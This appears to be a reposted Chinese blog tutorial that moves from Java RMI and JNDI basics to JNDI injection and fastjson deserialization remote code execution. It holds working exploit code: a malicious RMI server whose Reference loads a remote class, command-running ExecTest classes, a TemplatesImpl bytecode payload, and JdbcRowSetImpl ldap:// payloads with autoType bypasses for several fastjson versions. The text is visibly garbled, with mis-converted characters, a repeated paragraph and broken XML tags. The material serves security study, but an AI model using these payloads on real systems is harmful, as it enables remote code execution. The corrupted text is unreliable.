fastjson反序列化过滤字段属性_原创干货 | 从RMI入门到fastjson反序列化RCE
RMI入門
什么是RMI
RMI(Remote Method Invocation)為遠(yuǎn)程方法調(diào)用,是允許運(yùn)行在一個(gè)Java虛擬機(jī)的對(duì)象調(diào)用運(yùn)行在另一個(gè)Java虛擬機(jī)上的對(duì)象的方法。這兩個(gè)虛擬機(jī)可以是運(yùn)行在相同計(jì)算機(jī)上的不同進(jìn)程中,也可以是運(yùn)行在網(wǎng)絡(luò)上的不同計(jì)算機(jī)中,它的底層是由socket和java序列化和反序列化支撐起來(lái)的。
Java RMI:Java遠(yuǎn)程方法調(diào)用,即Java RMI(Java Remote Method Invocation)是Java編程語(yǔ)言里,一種用于實(shí)現(xiàn)遠(yuǎn)程過(guò)程調(diào)用的應(yīng)用程序編程接口。它使客戶機(jī)上運(yùn)行的程序可以調(diào)用遠(yuǎn)程服務(wù)器上的對(duì)象。遠(yuǎn)程方法調(diào)用特性使Java編程人員能夠在網(wǎng)絡(luò)環(huán)境中分布操作。RMI全部的宗旨就是盡可能簡(jiǎn)化遠(yuǎn)程接口對(duì)象的使用。
我們知道遠(yuǎn)程過(guò)程調(diào)用(Remote Procedure Call, RPC)可以用于一個(gè)進(jìn)程調(diào)用另一個(gè)進(jìn)程(很可能在另一個(gè)遠(yuǎn)程主機(jī)上)中的過(guò)程,從而提供了過(guò)程的分布能力。Java 的 RMI 則在 RPC 的基礎(chǔ)上向前又邁進(jìn)了一步,即提供分布式對(duì)象間的通訊。
那么會(huì)引出以下幾個(gè)問(wèn)題?
1.遠(yuǎn)程對(duì)象的發(fā)現(xiàn)問(wèn)題
在調(diào)用遠(yuǎn)程對(duì)象的方法之前需要一個(gè)遠(yuǎn)程對(duì)象的引用,如何獲得這個(gè)遠(yuǎn)程對(duì)象的引用在RMI中是一個(gè)關(guān)鍵的問(wèn)題?
答案:在我們?nèi)粘J褂镁W(wǎng)絡(luò)時(shí),基本上都是通過(guò)域名來(lái)定位一個(gè)網(wǎng)站,但是實(shí)際上網(wǎng)絡(luò)是通過(guò)IP地址來(lái)定位網(wǎng)站的,因此其中就需要一個(gè)映射的過(guò)程,域名系統(tǒng)(DNS)就是為了這個(gè)目的出現(xiàn)的,在域名系統(tǒng)中通過(guò)域名來(lái)查找對(duì)應(yīng)的IP地址來(lái)訪問(wèn)對(duì)應(yīng)的服務(wù)器。那么對(duì)應(yīng)的,IP地址在這里就相當(dāng)于遠(yuǎn)程對(duì)象的引用,而DNS則相當(dāng)于一個(gè)注冊(cè)表(Registry)。而域名在RMI中就相當(dāng)于遠(yuǎn)程對(duì)象的標(biāo)識(shí)符,客戶端通過(guò)提供遠(yuǎn)程對(duì)象的標(biāo)識(shí)符訪問(wèn)注冊(cè)表,來(lái)得到遠(yuǎn)程對(duì)象的引用。這個(gè)標(biāo)識(shí)符是類似URL地址格式的,也就是后面我們所說(shuō)的RMIRegistry。
2.數(shù)據(jù)的傳遞問(wèn)題
我們都知道在Java程序中引用類型(不包括基本類型)的參數(shù)傳遞是按引用傳遞的,對(duì)于在同一個(gè)虛擬機(jī)中的傳遞時(shí)是沒(méi)有問(wèn)題的,因?yàn)榈膮?shù)的引用對(duì)應(yīng)的是同一個(gè)內(nèi)存空間,但是對(duì)于分布式系統(tǒng)中,由于對(duì)象不再存在于同一個(gè)內(nèi)存空間,虛擬機(jī)A的對(duì)象引用對(duì)于虛擬機(jī)B沒(méi)有任何意義,問(wèn)題如何解決?
當(dāng)客戶端通過(guò)RMI注冊(cè)表找到一個(gè)遠(yuǎn)程接口的時(shí)候,所得到的其實(shí)是遠(yuǎn)程接口的一個(gè)動(dòng)態(tài)代理對(duì)象。當(dāng)客戶端調(diào)用其中的方法的時(shí)候,方法的參數(shù)對(duì)象會(huì)在序列化之后,傳輸?shù)椒?wù)器端。服務(wù)器端接收到之后,進(jìn)行反序列化得到參數(shù)對(duì)象。并使用這些參數(shù)對(duì)象,在服務(wù)器端調(diào)用實(shí)際的方法。調(diào)用的返回值Java對(duì)象經(jīng)過(guò)序列化之后,再發(fā)送回客戶端??蛻舳嗽俳?jīng)過(guò)反序列化之后得到Java對(duì)象,返回給調(diào)用者。這中間的序列化過(guò)程對(duì)于使用者來(lái)說(shuō)是透明的,由動(dòng)態(tài)代理對(duì)象自動(dòng)完成。
RMI的通信模型
從方法調(diào)用角度來(lái)看,RMI要解決的問(wèn)題,是讓客戶端對(duì)遠(yuǎn)程方法的調(diào)用可以相當(dāng)于對(duì)本地方法的調(diào)用而屏蔽其中關(guān)于遠(yuǎn)程通信的內(nèi)容,即使在遠(yuǎn)程上,也和在本地上是一樣的。
形象理解:實(shí)際上,客戶端只與代表遠(yuǎn)程主機(jī)中對(duì)象的Stub對(duì)象進(jìn)行通信,絲毫不知道Server的存在??蛻舳酥皇钦{(diào)用Stub對(duì)象中的本地方法,Stub對(duì)象是一個(gè)本地對(duì)象,它實(shí)現(xiàn)了遠(yuǎn)程對(duì)象向外暴露的接口,也就是說(shuō)它的方法和遠(yuǎn)程對(duì)象暴露的方法的簽名是相同的??蛻舳苏J(rèn)為它是調(diào)用遠(yuǎn)程對(duì)象的方法,實(shí)際上是調(diào)用Stub對(duì)象中的方法??梢岳斫鉃镾tub對(duì)象是遠(yuǎn)程對(duì)象在本地的一個(gè)代理,當(dāng)客戶端調(diào)用方法的時(shí)候,Stub對(duì)象會(huì)將調(diào)用通過(guò)網(wǎng)絡(luò)傳遞給遠(yuǎn)程對(duì)象。
RMI遠(yuǎn)程調(diào)用步驟(圖解)
1、客戶對(duì)象調(diào)用客戶端輔助對(duì)象上的方法
2、客戶端輔助對(duì)象打包調(diào)用信息(變量,方法名),通過(guò)網(wǎng)絡(luò)發(fā)送給服務(wù)端輔助對(duì)象
3、服務(wù)端輔助對(duì)象將客戶端輔助對(duì)象發(fā)送來(lái)的信息解包,找出真正被調(diào)用的方法以及該方法所在對(duì)象
4、調(diào)用真正服務(wù)對(duì)象上的真正方法,并將結(jié)果返回給服務(wù)端輔助對(duì)象
5、服務(wù)端輔助對(duì)象將結(jié)果打包,發(fā)送給客戶端輔助對(duì)象
6、客戶端輔助對(duì)象將返回值解包,返回給客戶對(duì)象
7、客戶對(duì)象獲得返回值
簡(jiǎn)單的實(shí)現(xiàn)
package main;import java.rmi.Remote;import java.rmi.RemoteException;public interface HelloService extends Remote { // Remote method should throw RemoteException public String service(String data) throws RemoteException;}package main;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class HelloServiceImpl extends UnicastRemoteObject implements HelloService { private static final long serialVersionUID = 1L; private String name; public HelloServiceImpl(String name) throws RemoteException { super(); this.name = name; // UnicastRemoteObject.exportObject(this, 0); } @Override public String service(String data) throws RemoteException { return data + name; }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;public class Server { public static void main(String[] args) { try { LocateRegistry.createRegistry(1099); HelloService service1 = new HelloServiceImpl("service1"); Naming.rebind("rmi://localhost:1099/HelloService1",service1); } catch (RemoteException | MalformedURLException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("Successfully register a remote object."); }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.NotBoundException;import java.rmi.RemoteException;public class Client { public static void main(String[] args) { // TODO Auto-generated method stub String url = "rmi://localhost:1099/"; try { HelloService serv = (HelloService) Naming.lookup(url + "HelloService1"); String data = "This is RMI Client."; System.out.println(serv.service(data)); } catch (RemoteException e) { e.printStackTrace(); } catch (NotBoundException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } }}
總結(jié)一句:Java RMI是專為Java環(huán)境設(shè)計(jì)的遠(yuǎn)程方法調(diào)用機(jī)制,遠(yuǎn)程服務(wù)器實(shí)現(xiàn)具體的Java方法并提供接口,客戶端本地僅需根據(jù)接口類的定義,提供相應(yīng)的參數(shù)即可調(diào)用遠(yuǎn)程方法并獲取執(zhí)行結(jié)果,使分布在不同的JVM中的對(duì)象的外表和行為都像本地對(duì)象一樣。
從代碼中我們可以看出,遠(yuǎn)程接口中的所有方法必須聲明它們可以引發(fā)異常 java.rmi.RemoteException 。RemoteException當(dāng)發(fā)生任何類型的網(wǎng)絡(luò)錯(cuò)誤時(shí),都會(huì)引發(fā)此異常(實(shí)際上是的許多子類之一 ):例如,服務(wù)器可能崩潰,網(wǎng)絡(luò)可能會(huì)失敗,或者您可能由于某種原因而請(qǐng)求一個(gè)不可用的對(duì)象。
攻擊RMI服務(wù)端
抓包
既然傳輸?shù)臅r(shí)候需要經(jīng)過(guò)序列化及反序列化,這要求相應(yīng)的類必須實(shí)現(xiàn) java.io.Serializable 接口,然而代碼里面沒(méi)看到?
請(qǐng)看如下:
作用
總結(jié)一句:Java RMI是專為Java環(huán)境設(shè)計(jì)的遠(yuǎn)程方法調(diào)用機(jī)制,遠(yuǎn)程服務(wù)器實(shí)現(xiàn)具體的Java方法并提供接口,客戶端本地僅需根據(jù)接口類的定義,提供相應(yīng)的參數(shù)即可調(diào)用遠(yuǎn)程方法并獲取執(zhí)行結(jié)果,使分布在不同的JVM中的對(duì)象的外表和行為都像本地對(duì)象一樣。
JNDI入門
什么是JNDI?
JNDI(Java Naming and Directory Interface),名為 Java命名和目錄接口,JNDI是Java API,允許客戶端通過(guò)名稱發(fā)現(xiàn)和查找數(shù)據(jù)、對(duì)象。這些對(duì)象可以存儲(chǔ)在不同的命名或目錄服務(wù)中,例如遠(yuǎn)程方法調(diào)用(RMI),公共對(duì)象請(qǐng)求代理體系結(jié)構(gòu)(CORBA),輕型目錄訪問(wèn)協(xié)議(LDAP)或域名服務(wù)(DNS)。放兩張直觀的圖
使用JNDI的好處
JNDI自身并不區(qū)分客戶端和服務(wù)器端,也不具備遠(yuǎn)程能力,但是被其協(xié)同的一些其他應(yīng)用一般都具備遠(yuǎn)程能力,JNDI在客戶端和服務(wù)器端都能夠進(jìn)行一些工作,客戶端上主要是進(jìn)行各種訪問(wèn),查詢,搜索,而服務(wù)器端主要進(jìn)行的是幫助管理配置,也就是各種bind。比如在RMI服務(wù)器端上可以不直接使用Registry進(jìn)行bind,而使用JNDI統(tǒng)一管理,當(dāng)然JNDI底層應(yīng)該還是調(diào)用的Registry的bind,但好處JNDI提供的是統(tǒng)一的配置接口;在客戶端也可以直接通過(guò)類似URL的形式來(lái)訪問(wèn)目標(biāo)服務(wù),可以看后面提到的JNDI動(dòng)態(tài)協(xié)議轉(zhuǎn)換。把RMI換成其他的例如LDAP、CORBA等也是同樣的道理。
小小的Demo
package learnjndi;import java.io.Serializable;import java.rmi.Remote;public class Person implements Remote,Serializable { private static final long serialVersionUID = 1L; private String name; private String password; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String toString(){ return "name:"+name+" password:"+password; }}package learnjndi;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.naming.spi.NamingManager;public class test { public static void initPerson() throws Exception{ //配置JNDI工廠和JNDI的url和端口。如果沒(méi)有配置這些信息,會(huì)出現(xiàn)NoInitialContextException異常 LocateRegistry.createRegistry(3001); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001"); 初始化 InitialContext ctx = new InitialContext(); //實(shí)例化person對(duì)象 Person p = new Person(); p.setName("Decade"); p.setPassword("xiaobai"); //person對(duì)象綁定到JNDI服務(wù)中,JNDI的名字叫做:person,即我們可以通過(guò)person鍵值,來(lái)對(duì)Person對(duì)象進(jìn)行索引 ctx.bind("person", p); ctx.close(); } public static void findPerson() throws Exception{ //因?yàn)榍懊嬉呀?jīng)將JNDI工廠和JNDI的url和端口已經(jīng)添加到System對(duì)象中,這里就不用在綁定了 InitialContext ctx = new InitialContext(); //通過(guò)lookup查找person對(duì)象 Person person = (Person) ctx.lookup("person"); //打印出這個(gè)對(duì)象 System.out.println(person.toString()); ctx.close(); } public static void main(String[] args) throws Exception { initPerson(); findPerson(); }}在運(yùn)行的一瞬間,可以看到確實(shí)開(kāi)放了3001端口
用Debug的狀態(tài)來(lái)看
JNDI協(xié)議動(dòng)態(tài)轉(zhuǎn)換
在開(kāi)始談JNDI注入之前,先談一談為什么會(huì)引起JNDI注入。上面的Demo里面,在初始化就預(yù)先指定了其上下文環(huán)境(RMI),但是在調(diào)用 lookup() 時(shí),是可以使用帶 URI 動(dòng)態(tài)的轉(zhuǎn)換上下文環(huán)境,例如上面已經(jīng)設(shè)置了當(dāng)前上下文會(huì)訪問(wèn) RMI 服務(wù),那么可以直接使用 RMi的 URI 格式去轉(zhuǎn)換(該變)上下文環(huán)境,使之訪問(wèn) RMI 服務(wù)上的綁定對(duì)象:
Person person = (Person) ctx.lookup("rmi://localhost:3001/person");JNDI注入
可以看到得到同樣的效果,但是如果這個(gè)lookup參數(shù)我們可以控制呢?
這里由于jdk版本(java1.8.231)過(guò)高,導(dǎo)致的沒(méi)有攻擊成功,這里為了簡(jiǎn)便用的是marshalsec反序列化工具
低版本測(cè)試?
這里選用的是jd k1.7.17版本。
import javax.naming.Context;import javax.naming.InitialContext;public class CLIENT { public static void main(String[] args) throws Exception { String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri); }}import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class SERVER { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'"); registry.bind("aa", refObjWrapper); }}import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;import javax.print.attribute.standard.PrinterMessageFromOperator;public class ExecTest { public ExecTest() throws IOException,InterruptedException{ String cmd="whoami"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); }}一步一步跟蹤,可以看到這里如果是Reference類的話,進(jìn)入var.getReference(),與RMI服務(wù)器進(jìn)行一次連接,獲取到遠(yuǎn)程class文件地址,如果是普通RMI對(duì)象服務(wù),這里不會(huì)進(jìn)行連接,只有在正式遠(yuǎn)程函數(shù)調(diào)用的時(shí)候才會(huì)連接RMI服務(wù)。
最終調(diào)用了GetObjectInsacne函數(shù),跟蹤到如下,這里有兩處可以實(shí)現(xiàn)任意命令執(zhí)行,分別是兩處標(biāo)紅的代碼。
可以看到最后用newInstance實(shí)例化了類,實(shí)例化會(huì)默認(rèn)調(diào)用構(gòu)造方法、靜態(tài)代碼塊,那么也就執(zhí)行了我們的whoami命令
當(dāng)然這里會(huì)報(bào)錯(cuò),那么我們修改一下ExecTest類的寫法。
import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class ExecTest implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) { exec("calc"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return ""; } public static void main(String[] args) { exec("123"); }}至于為什么要重寫getObjectInstance方法,是因?yàn)檫@里用到的第二處可以任意命令執(zhí)行的地方,如下圖所示,就不會(huì)報(bào)錯(cuò)了。這就是整個(gè)jndi的一個(gè)實(shí)現(xiàn)過(guò)程。
JNDI的條件與限制
條件一:我們需要服務(wù)端存在以下代碼,并且uri可控
String uri = "rmi://127.0.0.1:1099/aa";Context ctx = new InitialContext();ctx.lookup(uri);條件二:jdk版本
可以看到要實(shí)現(xiàn)JNDI注入的話jdk版本需要符合一定條件,具體到哪個(gè)版本之后不能使用呢,筆者由于時(shí)間有限,并沒(méi)一個(gè)一個(gè)測(cè),如果有師傅愿意嘗試的話可以去研究一下,當(dāng)然這里也有限制
柳暗花明又一村
最先其實(shí)也說(shuō)了,我們JNDI其實(shí)類似于一個(gè)api,而我測(cè)的代碼也僅僅就只有rmi服務(wù),我們下面測(cè)試一下ladp服務(wù),當(dāng)然也同樣為了簡(jiǎn)便,用的是marshalsec反序列化工具,這里測(cè)試的jdk版本為jdk1.7.17
相對(duì)來(lái)說(shuō)ldap使用范圍更廣,如下圖所示fastjson反序列化-RCE
簡(jiǎn)介
fastjson是alibaba開(kāi)源的一款高性能功能完善的JSON庫(kù),項(xiàng)目鏈接https://github.com/alibaba/fastjson/。
前置知識(shí)
import com.alibaba.fastjson.JSON;import java.util.Properties;public class User { public String name; private int age; private Boolean sex; private Properties prop; public User(){ System.out.println("User() is called"); } public void setAge(int age){ System.out.println("setAge() is called"); this.age = age; } public int getAge(){ System.out.println("getAge() is called"); return 1; } public void setName(String aa){ System.out.println("setName() is called"); this.name=aa; } public String getName(){ System.out.println("getName() is called"); return this.name; } public void setSex(boolean a){ System.out.println("setSex() is called"); this.sex = a; } public Boolean getSex(){ System.out.println("getSex() is called"); return this.sex; } public Properties getProp(){ System.out.println("getProp() is called"); return this.prop; } public void setProp(Properties a){ System.out.println("setProp() is called"); this.prop=a; } public String toString(){ String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex; return s; } public static void main(String[] args){ String jsonstr = "{\"@type\":\"User\", \"name\":\"Tom\", \"age\": 1, \"prop\": {}, \"sex\": 1}"; System.out.println("=========JSON.parseObject======"); Object obj1 = JSON.parseObject(jsonstr); System.out.println("=========JSON.parseObject指定類======"); Object obj3 = JSON.parseObject(jsonstr,User.class); System.out.println("=========JSON.parse======"); Object obj2 = JSON.parse(jsonstr); }}這段代碼就是在模擬Json字符串轉(zhuǎn)換成User對(duì)象的過(guò)程,執(zhí)行結(jié)果為:
@type用來(lái)指定Json字符串還原成哪個(gè)類對(duì)象,在反序列化過(guò)程中里面的一些函數(shù)被自動(dòng)調(diào)用,Fastjson會(huì)根據(jù)內(nèi)置策略選擇如何調(diào)用這些函數(shù),在文件com.alibaba.fastjson.util.JavaBeanInfo中有定義,簡(jiǎn)化如下
對(duì)于set函數(shù)主要有這幾個(gè)條件:
1、方法名長(zhǎng)度大于等于4 ?methodName.length() >= 42、方法名以set開(kāi)頭 method.getParameterTypes()2、方法不能為靜態(tài)方法 ?!Modifier.isStatic(method.getModifiers())3、方法的類型為void或者為類自身的類型 ?(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))4、參數(shù)個(gè)數(shù)為1 method.getParameterTypes()==1
對(duì)于get函數(shù)主要有這幾個(gè)條件:
1、方法名長(zhǎng)度大于等于4 ? methodName.length() >= 42、方法名以get開(kāi)頭且第四個(gè)字母為大寫 methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))3、方法不能為靜態(tài)方法 !Modifier.isStatic(method.getModifiers())4、方法不能有參數(shù) method.getParameterTypes().length == 05、方法的返回值必須為Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong之一 (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())
謹(jǐn)記:
public修飾符的屬性會(huì)進(jìn)行反序列化賦值,private修飾符的屬性不會(huì)直接進(jìn)行反序列化賦值,而是會(huì)調(diào)用setxxx(xxx為屬性名)的函數(shù)進(jìn)行賦值。
getxxx(xxx為屬性名)的函數(shù)會(huì)根據(jù)函數(shù)返回值的不同,而選擇被調(diào)用或不被調(diào)用。
在此之前請(qǐng)多加本地fuzz,這是理解fastjson的前置知識(shí)。
fastjson的安全特性
無(wú)參默認(rèn)構(gòu)造方法或者注解指定
Feature.SupportNonPublicField才能打開(kāi)非公有屬性的反序列化處理
@type可以指定反序列化任意類,(具體情況)調(diào)用其set,get方法
基于TemplatesImpl(1.2.22-1.2.24適用)
poc
適用范圍:1.2.22-1.2.24
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;public class TemplatesImplPoc { public static String readClass(String cls) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String evilClassPath = System.getProperty("user.dir") + "\\src\\main\\java\\Test.class"; System.out.println(evilClassPath); String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //assertEquals(Model.class, obj.getClass()); } public static void main(String args[]) { try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } }}import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t = new Test(); }}//pom.xml加上如下幾個(gè)依賴 <dependency> <groupId>commons-codecgroupId> <artifactId>commons-codecartifactId> <version>1.10version> dependency> <dependency> <groupId>xalangroupId> <artifactId>xalanartifactId> <version>2.7.2version> dependency> <dependency> <groupId>commons-iogroupId> <artifactId>commons-ioartifactId> <version>2.3version> dependency>基于JdbcRowSetImpl(<1.2.24)
poc
import com.alibaba.fastjson.JSON;public class JdbcRowSetImplPoc { public static void main(String[] args) { String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}基于JdbcRowSetImpl(1.2.25<=fastjson<=1.2.41)
poc
利用條件之一,需要開(kāi)啟autoType
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}基于JdbcRowSetImpl(1.2.25<=fastjson<=1.2.42)
poc
利用條件之一,需要開(kāi)啟autoType
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}基于JdbcRowSetImpl(fastjson<=1.2.47)
poc
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json = "{" + " \"a\": {" + " \"@type\": \"java.lang.Class\", " + " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"" + " }, " + " \"b\": {" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", " + " \"dataSourceName\": \"ldap://localhost:1099/ExecTest\", " + " \"autoCommit\": true" + " }" + "}"; JSON.parse(json); }}掃碼關(guān)注
有趣的靈魂在等你
總結(jié)
以上是生活随笔為你收集整理的fastjson反序列化过滤字段属性_原创干货 | 从RMI入门到fastjson反序列化RCE的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 用python进行多页数据爬取_Pyth
- 下一篇: python pdf转txt保留全部信息